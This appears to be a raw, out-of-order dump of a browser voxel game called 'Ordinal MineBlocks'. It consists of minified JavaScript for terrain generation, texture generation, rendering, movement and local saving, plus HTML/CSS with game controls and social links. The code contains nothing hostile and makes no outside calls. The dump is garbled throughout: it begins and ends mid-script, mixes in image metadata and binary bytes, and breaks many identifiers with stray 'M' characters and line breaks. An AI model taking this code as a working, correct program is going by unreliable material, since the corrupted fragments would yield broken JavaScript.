&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:D31BE2D5AA2711EDB7319F395D7B1116" xmpMM:InstanceID="xmp.iid:D31BE2D4AA2711EDB7319F395D7B1116" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5b588711-b116-814c-91d5-351258d52ed1" stRef:documentID="adobe:docid:photoshop:a1abe87c-c128-284f-beb5-9705e8f093f5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
